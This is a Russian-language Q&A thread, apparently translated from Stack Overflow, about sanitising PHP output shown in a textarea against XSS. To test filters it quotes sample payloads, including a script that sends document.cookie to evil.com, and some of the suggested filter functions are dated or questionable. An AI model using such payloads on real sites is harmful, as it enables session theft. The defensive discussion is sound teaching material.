Обеззараживание вывода в текстовое поле из XSS

Каковы наилучшие методы санации значений из базы данных (в php), если они должны использоваться во входных данных, таких как текстовые области?

Например, при вставке данных я могу вырезать теги и кавычки и заменить их на кодовые символы html, а затем использовать mysql_real_escape_string непосредственно перед вставкой.

При получении этих данных мне нужно, чтобы они отображались в текстовой области. Как я могу сделать это и все же избежать XSS? (Например, вы могли бы легко ввести

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) и вызывают проблемы.

Спасибо!

3 ответа

Решение

Я думаю, что я бы предпочел комбо filter_var а также url_decode если вы хотите использовать чисто простое решение php

причина

Представьте себе вменяемый как это

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

Если я использую strip_tags

var_dump(strip_tags($maliciousCode));

Выход

string 'document.write("' (length=16)

если я использую htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

Выход

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

Мой выбор

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

Выход

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

Если форма используется GET вместо POST некоторые могут убежать, если URL-адрес закодирован, вы можете получить минимальную информацию и убедиться, что окончательный текст безвреден

Также достаточно класса онлайн, чтобы помочь вам увидеть фильтр

HTMLpurifier - отличный инструмент для очистки нежелательного HTML, особенно нежелательного JavaScript. Также используя htmlspecialchars() рекомендуется для вывода предоставленного пользователем контента.

После получения грязного спама в моей контактной форме я расширил свою функцию, которая очищает ввод текста в текстовом поле. Теперь он также охватывает многострочный ввод текстовой области.

Мне нужно было отформатировать для нормального отображения, а также HTML-письмо со своей страницы контактов. Это также дает возможность форматировать текстовое электронное письмо, которое я также использую.

function clean_text($text, $html = true)
{ if($text == ""){return "";}
  $text = nl2br($text,false); // false gives <br>, true gives <br />
  $textary = explode("<br>",$text);
  foreach($textary as $key => $val)
  { $val = trim($val);
    $val = stripslashes($val);
    $val = htmlspecialchars($val);
    $textary[$key] = $val;
  }
  if ($html)
  { return implode("<br />",$textary);} //return implode("<br>",$textary);
  else
  { return implode("\r\n",$textary);}
}   

Кстати... Спасибо членам SO за то, что они являются частью моего изучения PHP.

Пример на http://www.microcal.ca/scripts/cleantext.php

Другие вопросы по тегам